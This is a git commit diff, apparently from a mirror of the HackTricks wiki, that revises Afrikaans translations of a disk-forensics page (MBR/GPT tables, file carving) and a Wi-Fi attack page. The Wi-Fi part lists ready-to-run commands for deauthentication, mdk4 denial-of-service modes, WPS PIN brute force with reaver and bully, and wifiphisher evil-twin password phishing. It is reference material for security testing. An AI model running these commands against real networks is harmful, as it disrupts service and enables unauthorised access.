mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/basic-forensic-meth
This commit is contained in:
parent
ef7994e0f7
commit
2954a5248f
@ -21,9 +21,9 @@ Van die **bytes 440 tot 443** van die MBR kan jy die **Windows Disk Signature**
|
||||
|
||||
.png>)
|
||||
|
||||
**Format**
|
||||
**Formaat**
|
||||
|
||||
| Offset | Length | Item |
|
||||
| Offset | Lengte | Item |
|
||||
| ----------- | ---------- | ------------------- |
|
||||
| 0 (0x00) | 446(0x1BE) | Opstartkode |
|
||||
| 446 (0x1BE) | 16 (0x10) | Eerste Partisie |
|
||||
@ -32,24 +32,24 @@ Van die **bytes 440 tot 443** van die MBR kan jy die **Windows Disk Signature**
|
||||
| 494 (0x1EE) | 16 (0x10) | Vierde Partisie |
|
||||
| 510 (0x1FE) | 2 (0x2) | Handtekening 0x55 0xAA |
|
||||
|
||||
**Partition Record Format**
|
||||
**Partisie Rekord Formaat**
|
||||
|
||||
| Offset | Length | Item |
|
||||
| Offset | Lengte | Item |
|
||||
| --------- | -------- | ------------------------------------------------------ |
|
||||
| 0 (0x00) | 1 (0x01) | Aktiewe vlag (0x80 = opstartbaar) |
|
||||
| 1 (0x01) | 1 (0x01) | Beginkop |
|
||||
| 1 (0x01) | 1 (0x01) | Beginkop |
|
||||
| 2 (0x02) | 1 (0x01) | Beginsektor (bits 0-5); boonste bits van silinder (6- 7) |
|
||||
| 3 (0x03) | 1 (0x01) | Begin silinder laagste 8 bits |
|
||||
| 4 (0x04) | 1 (0x01) | Partisie tipe kode (0x83 = Linux) |
|
||||
| 3 (0x03) | 1 (0x01) | Begin silinder laagste 8 bits |
|
||||
| 4 (0x04) | 1 (0x01) | Partisie tipe kode (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | Eindkop |
|
||||
| 6 (0x06) | 1 (0x01) | Eindsektor (bits 0-5); boonste bits van silinder (6- 7) |
|
||||
| 7 (0x07) | 1 (0x01) | Eind silinder laagste 8 bits |
|
||||
| 8 (0x08) | 4 (0x04) | Sektore wat die partisie voorafgaan (little endian) |
|
||||
| 7 (0x07) | 1 (0x01) | Eind silinder laagste 8 bits |
|
||||
| 8 (0x08) | 4 (0x04) | Sektore wat partisie voorafgaan (little endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Sektore in partisie |
|
||||
|
||||
Om 'n MBR in Linux te monteer, moet jy eers die begin offset kry (jy kan `fdisk` en die `p` opdrag gebruik)
|
||||
|
||||
 (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
 (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
En gebruik dan die volgende kode
|
||||
```bash
|
||||
@ -60,24 +60,24 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
```
|
||||
**LBA (Logiese blok adressering)**
|
||||
|
||||
**Logiese blok adressering** (**LBA**) is 'n algemene skema wat gebruik word om **die ligging van blokke** data wat op rekenaaropbergingsapparate gestoor is, spesifiek sekondêre opbergingsisteme soos hardeskyfskywe, te spesifiseer. LBA is 'n veral eenvoudige lineêre adressering skema; **blokke word geleë deur 'n heelgetal indeks**, met die eerste blok wat LBA 0 is, die tweede LBA 1, en so aan.
|
||||
**Logiese blok adressering** (**LBA**) is 'n algemene skema wat gebruik word om **die ligging van blokke** data wat op rekenaaropbergings toestelle gestoor is, spesifiek sekondêre opbergingsisteme soos hardeskyf stelsels, aan te dui. LBA is 'n besonder eenvoudige lineêre adressering skema; **blokke word geleë deur 'n heelgetal indeks**, met die eerste blok wat LBA 0 is, die tweede LBA 1, en so aan.
|
||||
|
||||
### GPT (GUID Partisie Tabel)
|
||||
|
||||
Die GUID Partisie Tabel, bekend as GPT, word verkies vir sy verbeterde vermoëns in vergelyking met MBR (Master Boot Record). Kenmerkend vir sy **globaal unieke identifiseerder** vir partities, val GPT op in verskeie opsigte:
|
||||
Die GUID Partisie Tabel, bekend as GPT, word verkies vir sy verbeterde vermoëns in vergelyking met MBR (Master Boot Record). Kenmerkend vir sy **globaal unieke identifiseerder** vir partisie, val GPT op verskeie maniere uit:
|
||||
|
||||
- **Ligging en Grootte**: Beide GPT en MBR begin by **sektor 0**. GPT werk egter op **64-bits**, in teenstelling met MBR se 32-bits.
|
||||
- **Partisie Grense**: GPT ondersteun tot **128 partities** op Windows stelsels en akkommodeer tot **9.4ZB** data.
|
||||
- **Partisie Nnames**: Bied die vermoë om partities te benoem met tot 36 Unicode karakters.
|
||||
- **Partisie Grense**: GPT ondersteun tot **128 partisie** op Windows stelsels en akkommodeer tot **9.4ZB** data.
|
||||
- **Partisie Nnames**: Bied die vermoë om partisie te benoem met tot 36 Unicode karakters.
|
||||
|
||||
**Data Veerkragtigheid en Herstel**:
|
||||
|
||||
- **Oortolligheid**: Anders as MBR, beperk GPT nie partisie en opstartdata tot 'n enkele plek nie. Dit repliseer hierdie data oor die skyf, wat data integriteit en veerkragtigheid verbeter.
|
||||
- **Redundansie**: Anders as MBR, beperk GPT nie partisie en opstartdata tot 'n enkele plek nie. Dit repliseer hierdie data oor die skyf, wat data integriteit en veerkragtigheid verbeter.
|
||||
- **Cyclic Redundancy Check (CRC)**: GPT gebruik CRC om data integriteit te verseker. Dit monitor aktief vir datakorruptie, en wanneer dit opgespoor word, probeer GPT om die gekorrupte data van 'n ander skyf ligging te herstel.
|
||||
|
||||
**Beskermer MBR (LBA0)**:
|
||||
|
||||
- GPT handhaaf agterwaartse kompatibiliteit deur 'n beskermer MBR. Hierdie kenmerk woon in die erfenis MBR ruimte, maar is ontwerp om te voorkom dat ouer MBR-gebaseerde nutsprogramme per ongeluk GPT skywe oorskryf, en so die data integriteit op GPT-geformatteerde skywe te beskerm.
|
||||
- GPT handhaaf agterwaartse kompatibiliteit deur 'n beskermende MBR. Hierdie kenmerk woon in die erfenis MBR ruimte, maar is ontwerp om te voorkom dat ouer MBR-gebaseerde nutsprogramme per ongeluk GPT skywe oorskryf, en so die data integriteit op GPT-geformatteerde skywe te beskerm.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -85,7 +85,7 @@ Die GUID Partisie Tabel, bekend as GPT, word verkies vir sy verbeterde vermoëns
|
||||
|
||||
[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
||||
In bedryfstelsels wat **GPT-gebaseerde opstart deur BIOS** dienste ondersteun eerder as EFI, kan die eerste sektor ook steeds gebruik word om die eerste fase van die **opstartlader** kode te stoor, maar **gewysig** om **GPT** **partities** te herken. Die opstartlader in die MBR mag nie 'n sektor grootte van 512 bytes aanvaar nie.
|
||||
In bedryfstelsels wat **GPT-gebaseerde opstart deur BIOS** dienste ondersteun eerder as EFI, kan die eerste sektor ook steeds gebruik word om die eerste fase van die **opstartlader** kode te stoor, maar **gewysig** om **GPT** **partisie** te herken. Die opstartlader in die MBR mag nie 'n sektor grootte van 512 bytes aanvaar nie.
|
||||
|
||||
**Partisie tabel kop (LBA 1)**
|
||||
|
||||
@ -95,14 +95,14 @@ Die partisie tabel kop definieer die bruikbare blokke op die skyf. Dit definieer
|
||||
|
||||
| Offset | Lengte | Inhouds |
|
||||
| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0 (0x00) | 8 bytes | Handtekening ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h of 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)op little-endian masjiene) |
|
||||
| 0 (0x00) | 8 bytes | Handtekening ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h of 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)op little-endian masjiene) |
|
||||
| 8 (0x08) | 4 bytes | Hersiening 1.0 (00h 00h 01h 00h) vir UEFI 2.8 |
|
||||
| 12 (0x0C) | 4 bytes | Kop grootte in little endian (in bytes, gewoonlik 5Ch 00h 00h 00h of 92 bytes) |
|
||||
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) van kop (offset +0 tot kop grootte) in little endian, met hierdie veld op nul tydens berekening |
|
||||
| 20 (0x14) | 4 bytes | Gereserveer; moet nul wees |
|
||||
| 24 (0x18) | 8 bytes | Huidige LBA (ligging van hierdie kopie van die kop) |
|
||||
| 32 (0x20) | 8 bytes | Rugsteun LBA (ligging van die ander kopie van die kop) |
|
||||
| 40 (0x28) | 8 bytes | Eerste bruikbare LBA vir partities (primêre partisie tabel laaste LBA + 1) |
|
||||
| 40 (0x28) | 8 bytes | Eerste bruikbare LBA vir partisie (primêre partisie tabel laaste LBA + 1) |
|
||||
| 48 (0x30) | 8 bytes | Laaste bruikbare LBA (sekondêre partisie tabel eerste LBA − 1) |
|
||||
| 56 (0x38) | 16 bytes | Skyf GUID in gemengde endian |
|
||||
| 72 (0x48) | 8 bytes | Begin LBA van 'n reeks partisie inskrywings (altyd 2 in primêre kopie) |
|
||||
@ -119,8 +119,8 @@ Die partisie tabel kop definieer die bruikbare blokke op die skyf. Dit definieer
|
||||
| 0 (0x00) | 16 bytes | [Partisie tipe GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (gemengde endian) |
|
||||
| 16 (0x10) | 16 bytes | Unieke partisie GUID (gemengde endian) |
|
||||
| 32 (0x20) | 8 bytes | Eerste LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) |
|
||||
| 40 (0x28) | 8 bytes | Laaste LBA (inclusief, gewoonlik oneven) |
|
||||
| 48 (0x30) | 8 bytes | Kenmerkvlaggies (bv. bit 60 dui op lees-slegs) |
|
||||
| 40 (0x28) | 8 bytes | Laaste LBA (inclusief, gewoonlik onpare) |
|
||||
| 48 (0x30) | 8 bytes | Kenmerk vlae (bv. bit 60 dui op lees-slegs) |
|
||||
| 56 (0x38) | 72 bytes | Partisie naam (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE kode eenhede) |
|
||||
|
||||
**Partisie Tipes**
|
||||
@ -149,31 +149,31 @@ As dit 'n **GPT tabel in plaas van 'n MBR** was, moet die handtekening _EFI PART
|
||||
|
||||
### FAT
|
||||
|
||||
Die **FAT (Lêer Toewysing Tabel)** lêerstelsel is ontwerp rondom sy kernkomponent, die lêer toewysing tabel, wat aan die begin van die volume geleë is. Hierdie stelsel beskerm data deur **twee kopieë** van die tabel te handhaaf, wat data integriteit verseker selfs as een gekorrupteer is. Die tabel, saam met die wortel gids, moet in 'n **vaste ligging** wees, wat noodsaaklik is vir die stelsel se opstartproses.
|
||||
Die **FAT (Lêer Toewysing Tabel)** lêerstelsel is ontwerp rondom sy kernkomponent, die lêer toewysing tabel, wat aan die begin van die volume geleë is. Hierdie stelsel beskerm data deur **twee kopieë** van die tabel te handhaaf, wat data integriteit verseker selfs as een gekorrupteer is. Die tabel, saam met die wortel vouer, moet in 'n **vaste ligging** wees, wat noodsaaklik is vir die stelsel se opstartproses.
|
||||
|
||||
Die basiese eenheid van opberging in die lêerstelsel is 'n **kluster, gewoonlik 512B**, wat uit verskeie sektore bestaan. FAT het deur weergawes ontwikkel:
|
||||
Die basiese eenheid van berging in die lêerstelsel is 'n **kluster, gewoonlik 512B**, wat uit verskeie sektore bestaan. FAT het deur weergawes ontwikkel:
|
||||
|
||||
- **FAT12**, wat 12-bis kluster adresse ondersteun en tot 4078 klusters hanteer (4084 met UNIX).
|
||||
- **FAT16**, wat verbeter na 16-bis adresse, wat tot 65,517 klusters akkommodeer.
|
||||
- **FAT32**, wat verder gevorder het met 32-bis adresse, wat 'n indrukwekkende 268,435,456 klusters per volume toelaat.
|
||||
|
||||
'n Belangrike beperking oor FAT weergawes is die **4GB maksimum lêergrootte**, wat deur die 32-bis veld wat vir lêergrootte opberging gebruik word, opgelê word.
|
||||
'n Belangrike beperking oor FAT weergawes is die **4GB maksimum lêergrootte**, wat deur die 32-bis veld wat vir lêergrootte berging gebruik word, opgelê word.
|
||||
|
||||
Belangrike komponente van die wortel gids, veral vir FAT12 en FAT16, sluit in:
|
||||
Sleutelkomponente van die wortel gids, veral vir FAT12 en FAT16, sluit in:
|
||||
|
||||
- **Lêer/Gids Naam** (tot 8 karakters)
|
||||
- **Lêer/Fouer Naam** (tot 8 karakters)
|
||||
- **Kenmerke**
|
||||
- **Skep-, Wysig-, en Laaste Toegang Datums**
|
||||
- **Skep, Wysig, en Laaste Toegang Datums**
|
||||
- **FAT Tabel Adres** (wat die begin kluster van die lêer aandui)
|
||||
- **Lêergrootte**
|
||||
- **Lêer Grootte**
|
||||
|
||||
### EXT
|
||||
|
||||
**Ext2** is die mees algemene lêerstelsel vir **nie-journaling** partities (**partities wat nie veel verander nie**) soos die opstartpartisie. **Ext3/4** is **journaling** en word gewoonlik gebruik vir die **oorige partities**.
|
||||
**Ext2** is die mees algemene lêerstelsel vir **nie-journaling** partisie (**partisie wat nie veel verander nie**) soos die opstartpartisie. **Ext3/4** is **journaling** en word gewoonlik gebruik vir die **oorige partisie**.
|
||||
|
||||
## **Metadata**
|
||||
|
||||
Sommige lêers bevat metadata. Hierdie inligting is oor die inhoud van die lêer wat soms interessant vir 'n ontleder mag wees, aangesien dit afhang van die lêer tipe, dit mag inligting soos hê:
|
||||
Sommige lêers bevat metadata. Hierdie inligting is oor die inhoud van die lêer wat soms interessant kan wees vir 'n ontleder, aangesien dit, afhangende van die lêer tipe, inligting kan hê soos:
|
||||
|
||||
- Titel
|
||||
- MS Office Weergawe gebruik
|
||||
@ -185,7 +185,7 @@ Sommige lêers bevat metadata. Hierdie inligting is oor die inhoud van die lêer
|
||||
|
||||
Jy kan hulpmiddels soos [**exiftool**](https://exiftool.org) en [**Metadiver**](https://www.easymetadata.com/metadiver-2/) gebruik om die metadata van 'n lêer te verkry.
|
||||
|
||||
## **Verwyderde Lêers Herstel**
|
||||
## **Verwyderde Lêer Herstel**
|
||||
|
||||
### Geregistreerde Verwyderde Lêers
|
||||
|
||||
@ -199,7 +199,7 @@ file-data-carving-recovery-tools.md
|
||||
|
||||
### **Lêer Karving**
|
||||
|
||||
**Lêer karving** is 'n tegniek wat probeer om **lêers in die massa data** te vind. Daar is 3 hoof maniere waarop hulpmiddels soos hierdie werk: **Gebaseer op lêer tipe koppe en voete**, gebaseer op lêer tipe **strukture** en gebaseer op die **inhoud** self.
|
||||
**Lêer karving** is 'n tegniek wat probeer om **lêers in die massa data** te vind. Daar is 3 hoof maniere waarop hulpmiddels soos hierdie werk: **Gebaseer op lêer tipes handtekeninge en voetstappe**, gebaseer op lêer tipes **strukture** en gebaseer op die **inhoud** self.
|
||||
|
||||
Let daarop dat hierdie tegniek **nie werk om gefragmenteerde lêers te herstel nie**. As 'n lêer **nie in aaneengeskakelde sektore gestoor is nie**, dan sal hierdie tegniek nie in staat wees om dit te vind of ten minste 'n deel daarvan nie.
|
||||
|
||||
@ -212,7 +212,7 @@ file-data-carving-recovery-tools.md
|
||||
### Data Stroom **C**arving
|
||||
|
||||
Data Stroom Karving is soortgelyk aan Lêer Karving, maar **in plaas daarvan om na volledige lêers te soek, soek dit na interessante fragmente** van inligting.\
|
||||
Byvoorbeeld, in plaas daarvan om na 'n volledige lêer te soek wat geregistreerde URL's bevat, sal hierdie tegniek na URL's soek.
|
||||
Byvoorbeeld, in plaas daarvan om na 'n volledige lêer te soek wat geregistreerde URL's bevat, sal hierdie tegniek URL's soek.
|
||||
|
||||
{{#ref}}
|
||||
file-data-carving-recovery-tools.md
|
||||
@ -220,8 +220,8 @@ file-data-carving-recovery-tools.md
|
||||
|
||||
### Veilige Verwydering
|
||||
|
||||
Natuurlik is daar maniere om lêers en 'n deel van logs oor hulle **"veilig" te verwyder**. Byvoorbeeld, dit is moontlik om die **inhoud** van 'n lêer met rommeldata verskeie kere te oorskryf, en dan die **logs** van die **$MFT** en **$LOGFILE** oor die lêer te **verwyder**, en die **Volume Shadow Copies** te **verwyder**.\
|
||||
Jy mag opgemerk het dat selfs wanneer jy daardie aksie uitvoer, daar dalk **ander dele is waar die bestaan van die lêer steeds geregistreer is**, en dit is waar en deel van die forensiese professionele se werk is om hulle te vind.
|
||||
Natuurlik, daar is maniere om **"veilig" lêers en dele van logs oor hulle te verwyder**. Byvoorbeeld, dit is moontlik om die **inhoud** van 'n lêer met rommeldata verskeie kere te oorskryf, en dan die **logs** van die **$MFT** en **$LOGFILE** oor die lêer te **verwyder**, en die **Volume Shadow Copies** te **verwyder**.\
|
||||
Jy mag opgemerk het dat selfs al voer jy daardie aksie uit, daar mag **ander dele wees waar die bestaan van die lêer steeds geregistreer is**, en dit is waar en deel van die forensiese professionele se werk is om hulle te vind.
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
@ -17,7 +17,7 @@ iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
|
||||
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
|
||||
iwlist wlan0 scan #Scan available wifis
|
||||
```
|
||||
## Gereedskap
|
||||
## Tools
|
||||
|
||||
### EAPHammer
|
||||
```
|
||||
@ -45,7 +45,7 @@ v1s1t0r1sh3r3/airgeddon
|
||||
```
|
||||
### wifiphisher
|
||||
|
||||
Dit kan Evil Twin, KARMA, en Known Beacons aanvalle uitvoer en dan 'n phishing-sjabloon gebruik om die werklike wagwoord van die netwerk te verkry of sosiale netwerk geloofsbriewe te vang.
|
||||
Dit kan Evil Twin, KARMA, en Known Beacons aanvalle uitvoer en dan 'n phishing-sjabloon gebruik om die werklike wagwoord van die netwerk te verkry of sosiale netwerk inligting te vang.
|
||||
```bash
|
||||
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
|
||||
cd wifiphisher # Switch to tool's directory
|
||||
@ -56,10 +56,10 @@ sudo python setup.py install # Install any dependencies
|
||||
Hierdie hulpmiddel outomatiseer **WPS/WEP/WPA-PSK** aanvalle. Dit sal outomaties:
|
||||
|
||||
- Die koppelvlak in monitor modus stel
|
||||
- Soek na moontlike netwerke - En jou laat kies die slagoffer(s)
|
||||
- Soek vir moontlike netwerke - En jou laat kies die slagoffer(s)
|
||||
- As WEP - WEP aanvalle begin
|
||||
- As WPA-PSK
|
||||
- As WPS: Pixie dust aanval en die bruteforce aanval (wees versigtig, die brute-force aanval kan 'n lang tyd neem). Let daarop dat dit nie nul PIN of databasis/gegenereerde PINs probeer nie.
|
||||
- As WPS: Pixie dust aanval en die bruteforce aanval (wees versigtig, die brute-force aanval kan 'n lang tyd neem). Let daarop dat dit nie probeer om null PIN of databasis/gegenereerde PINs nie.
|
||||
- Probeer om die PMKID van die AP te vang om dit te kraak
|
||||
- Probeer om kliënte van die AP te deauthentiseer om 'n handshake te vang
|
||||
- As PMKID of Handshake, probeer om te bruteforce met die top5000 wagwoorde.
|
||||
@ -68,10 +68,10 @@ Hierdie hulpmiddel outomatiseer **WPS/WEP/WPA-PSK** aanvalle. Dit sal outomaties
|
||||
|
||||
- **DoS**
|
||||
- Deauthentisering/disassosiasie -- Ontkoppel almal (of 'n spesifieke ESSID/Kliënt)
|
||||
- Ewekansige vals APs -- Versteek netwerke, moontlike crash scanners
|
||||
- Random vals APs -- Versteek netwerke, moontlike crash scanners
|
||||
- Oorlaai AP -- Probeer om die AP te dood te maak (gewoonlik nie baie nuttig nie)
|
||||
- WIDS -- Speel met die IDS
|
||||
- TKIP, EAPOL -- Sommige spesifieke aanvalle om sekere APs te DoS
|
||||
- TKIP, EAPOL -- Sommige spesifieke aanvalle om sommige APs te DoS
|
||||
- **Kraak**
|
||||
- Kraak **WEP** (verskeie hulpmiddels en metodes)
|
||||
- **WPA-PSK**
|
||||
@ -95,21 +95,21 @@ Hierdie hulpmiddel outomatiseer **WPS/WEP/WPA-PSK** aanvalle. Dit sal outomaties
|
||||
|
||||
**Beskrywing van** [**hier**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
||||
|
||||
**Deauthentisering** aanvalle, 'n algemene metode in Wi-Fi hacking, behels die vervalsing van "bestuur" rame om **dwangmatig toestelle van 'n netwerk af te ontkoppel**. Hierdie nie-geënkripteerde pakkette mislei kliënte om te glo dat hulle van die wettige netwerk af kom, wat dit moontlik maak vir aanvallers om WPA handshakes te versamel vir kraakdoeleindes of om netwerkverbindinge volhoubaar te ontwrig. Hierdie taktiek, ontstellend in sy eenvoud, word wyd gebruik en het beduidende implikasies vir netwerk sekuriteit.
|
||||
**Deauthentisering** aanvalle, 'n algemene metode in Wi-Fi hacking, behels die vervalsing van "bestuur" rame om **daarmee toestelle met geweld van 'n netwerk te ontkoppel**. Hierdie ongeënkripteerde pakkette mislei kliënte om te glo dat hulle van die wettige netwerk af kom, wat dit moontlik maak vir aanvallers om WPA handshakes te versamel vir kraakdoele of om netwerkverbindinge volhoubaar te ontwrig. Hierdie taktiek, ontstellend in sy eenvoud, is wyd gebruik en het beduidende implikasies vir netwerk sekuriteit.
|
||||
|
||||
**Deauthentisering met Aireplay-ng**
|
||||
```
|
||||
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
||||
```
|
||||
- -0 beteken de-authentisering
|
||||
- 1 is die aantal de-auths om te stuur (jy kan verskeie stuur indien jy wil); 0 beteken stuur dit voortdurend
|
||||
- 1 is die aantal de-auths om te stuur (jy kan meerdere stuur as jy wil); 0 beteken stuur hulle voortdurend
|
||||
- -a 00:14:6C:7E:40:80 is die MAC-adres van die toegangspunt
|
||||
- -c 00:0F:B5:34:30:30 is die MAC-adres van die kliënt om te de-authentiseer; as dit weggelaat word, dan word broadcast de-authentisering gestuur (werk nie altyd nie)
|
||||
- ath0 is die interface naam
|
||||
|
||||
### Ontkoppeling Pakkette
|
||||
|
||||
**Ontkoppeling pakkette**, soortgelyk aan de-authentisering pakkette, is 'n tipe bestuursraam wat in Wi-Fi-netwerke gebruik word. Hierdie pakkette dien om die verbinding tussen 'n toestel (soos 'n skootrekenaar of slimfoon) en 'n toegangspunt (AP) te verbreek. Die primêre onderskeid tussen ontkoppeling en de-authentisering lê in hul gebruiks scenario's. Terwyl 'n AP **de-authentisering pakkette uitstuur om onwettige toestelle eksplisiet uit die netwerk te verwyder, word ontkoppeling pakkette tipies gestuur wanneer die AP 'n afsluiting**, herstart, of verskuiwing ondergaan, wat die ontkoppeling van alle gekonnekteerde nodes noodsaak.
|
||||
**Ontkoppeling pakkette**, soortgelyk aan de-authentisering pakkette, is 'n tipe bestuursraam wat in Wi-Fi-netwerke gebruik word. Hierdie pakkette dien om die verbinding tussen 'n toestel (soos 'n skootrekenaar of slimfoon) en 'n toegangspunt (AP) te verbreek. Die primêre onderskeid tussen ontkoppeling en de-authentisering lê in hul gebruiks scenario's. Terwyl 'n AP **de-authentisering pakkette uitstuur om onwettige toestelle eksplisiet uit die netwerk te verwyder, word ontkoppeling pakkette tipies gestuur wanneer die AP 'n afsluiting**, herstart of verskuiwing ondergaan, wat die ontkoppeling van alle gekonnekte nodes noodsaak.
|
||||
|
||||
**Hierdie aanval kan uitgevoer word deur mdk4(mode "d"):**
|
||||
```bash
|
||||
@ -134,9 +134,9 @@ Stuur beacon rame om vals AP's aan kliënte te wys. Dit kan soms netwerk skanner
|
||||
# All the parameters are optional and you could load ESSIDs from a file
|
||||
mdk4 wlan0mon b -a -w nta -m
|
||||
```
|
||||
**AANVALSMODE a: Verifikasie Ontkenning-van-Diens**
|
||||
**AANVAL MODUS a: Verifikasie Ontkenning-van-Diens**
|
||||
|
||||
Die stuur van verifikasiekaders na alle toeganklike Toegangspunte (AP's) binne bereik kan hierdie AP's oorlaai, veral wanneer talle kliënte betrokke is. Hierdie intense verkeer kan lei tot stelselinstabiliteit, wat sommige AP's kan laat vries of selfs herbegin.
|
||||
Die stuur van verifikasiekaders na alle toeganklike Toegangspunte (AP's) binne bereik kan hierdie AP's oorlaai, veral wanneer talle kliënte betrokke is. Hierdie intense verkeer kan lei tot stelselinstabiliteit, wat veroorsaak dat sommige AP's vries of selfs herbegin.
|
||||
```bash
|
||||
# -a BSSID send random data from random clients to try the DoS
|
||||
# -i BSSID capture and repeat pakets from authenticated clients
|
||||
@ -144,30 +144,30 @@ Die stuur van verifikasiekaders na alle toeganklike Toegangspunte (AP's) binne b
|
||||
# only -a or -i can be used
|
||||
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
|
||||
```
|
||||
**AANVALSMODE p: SSID Probing en Bruteforcing**
|
||||
**ATTACK MODE p: SSID Probing and Bruteforcing**
|
||||
|
||||
Probing Access Points (APs) kontroleer of 'n SSID behoorlik onthul is en bevestig die AP se reeks. Hierdie tegniek, saam met **bruteforcing versteekte SSIDs** met of sonder 'n woordelys, help om verborge netwerke te identifiseer en toegang te verkry.
|
||||
Probing Access Points (APs) kontroleer of 'n SSID behoorlik onthul is en bevestig die AP se reeks. Hierdie tegniek, saam met **bruteforcing hidden SSIDs** met of sonder 'n woordlys, help om verborge netwerke te identifiseer en toegang te verkry.
|
||||
|
||||
**AANVALSMODE m: Michael Teenmaatreëls Exploitatie**
|
||||
**ATTACK MODE m: Michael Countermeasures Exploitation**
|
||||
|
||||
Die stuur van ewekansige of duplikaat pakkette na verskillende QoS-rye kan Michael Teenmaatreëls op **TKIP APs** aktiveer, wat lei tot 'n een minuut lange AP-afsluiting. Hierdie metode is 'n doeltreffende **DoS** (Denial of Service) aanvalstaktiek.
|
||||
Die stuur van ewekansige of duplikaat pakkette na verskillende QoS-rye kan Michael Countermeasures op **TKIP APs** aktiveer, wat lei tot 'n een minuut lange AP-afskakeling. Hierdie metode is 'n doeltreffende **DoS** (Denial of Service) aanvalstaktiek.
|
||||
```bash
|
||||
# -t <BSSID> of a TKIP AP
|
||||
# -j use inteligent replay to create the DoS
|
||||
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
|
||||
```
|
||||
**AANVAL MODUS e: EAPOL Begin en Afsluit Pakket Inspuiting**
|
||||
**AANVAL MODUS e: EAPOL Begin en Logoff Pakket Inspuiting**
|
||||
|
||||
Die oorstroming van 'n AP met **EAPOL Begin rame** skep **valse sessies**, wat die AP oorweldig en wettige kliënte blokkeer. Alternatiewelik, die inspuiting van **valse EAPOL Afsluit boodskappe** ontkoppel kliënte met geweld, beide metodes onderbreek effektief netwerkdiens.
|
||||
Vloed 'n AP met **EAPOL Begin rame** om **valse sessies** te skep, wat die AP oorweldig en wettige kliënte blokkeer. Alternatiewelik, die inspuiting van **valse EAPOL Logoff boodskappe** ontkoppel kliënte met geweld, beide metodes onderbreek effektief netwerkdiens.
|
||||
```bash
|
||||
# Use Logoff messages to kick clients
|
||||
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
||||
```
|
||||
**AANVAL MODUS s: Aanvalle vir IEEE 802.11s mesh-netwerke**
|
||||
**AANVALSMODE s: Aanvalle vir IEEE 802.11s mesh-netwerke**
|
||||
|
||||
Verskeie aanvalle op skakelbestuur en roetering in mesh-netwerke.
|
||||
Verskeie aanvalle op skakelbestuur en routering in mesh-netwerke.
|
||||
|
||||
**AANVAL MODUS w: WIDS Verwarring**
|
||||
**AANVALSMODE w: WIDS Verwarring**
|
||||
|
||||
Kruisverbinding van kliënte na verskeie WDS-knope of vals rogue APs kan Intrusie Detectie en Voorkomingstelsels manipuleer, wat verwarring en potensiële stelselmishandeling skep.
|
||||
```bash
|
||||
@ -197,23 +197,23 @@ Daar is 2 hoofgereedskap om hierdie aksie uit te voer: Reaver en Bully.
|
||||
|
||||
Die aanval benut die **kwesbaarheid van die WPS PIN**, veral die blootstelling van die eerste vier syfers en die laaste syfer se rol as 'n kontrolegetal, wat die brute-force aanval vergemaklik. egter, verdediging teen brute-force aanvalle, soos **blokkeer MAC-adresse** van aggressiewe aanvallers, vereis **MAC-adres rotasie** om die aanval voort te sit.
|
||||
|
||||
Sodra die WPS PIN verkry is met gereedskap soos Bully of Reaver, kan die aanvaller die WPA/WPA2 PSK aflei, wat **volhoubare netwerktoegang** verseker.
|
||||
Sodra die WPS PIN met gereedskap soos Bully of Reaver verkry is, kan die aanvaller die WPA/WPA2 PSK aflei, wat **volhoubare netwerktoegang** verseker.
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
||||
```
|
||||
**Slimme Brute Force**
|
||||
|
||||
Hierdie verfynde benadering teiken WPS PINs deur bekende kwesbaarhede:
|
||||
Hierdie verfynde benadering teiken WPS PINs deur gebruik te maak van bekende kwesbaarhede:
|
||||
|
||||
1. **Vooraf ontdekte PINs**: Gebruik 'n databasis van bekende PINs wat aan spesifieke vervaardigers gekoppel is wat bekend is om uniforme WPS PINs te gebruik. Hierdie databasis korreleer die eerste drie oktette van MAC-adresse met waarskynlike PINs vir hierdie vervaardigers.
|
||||
2. **PIN Generasie Algoritmes**: Maak gebruik van algoritmes soos ComputePIN en EasyBox, wat WPS PINs bereken op grond van die AP se MAC-adres. Die Arcadyan-algoritme vereis addisioneel 'n toestel-ID, wat 'n laag by die PIN-generasieproses voeg.
|
||||
|
||||
### WPS Pixie Dust aanval
|
||||
|
||||
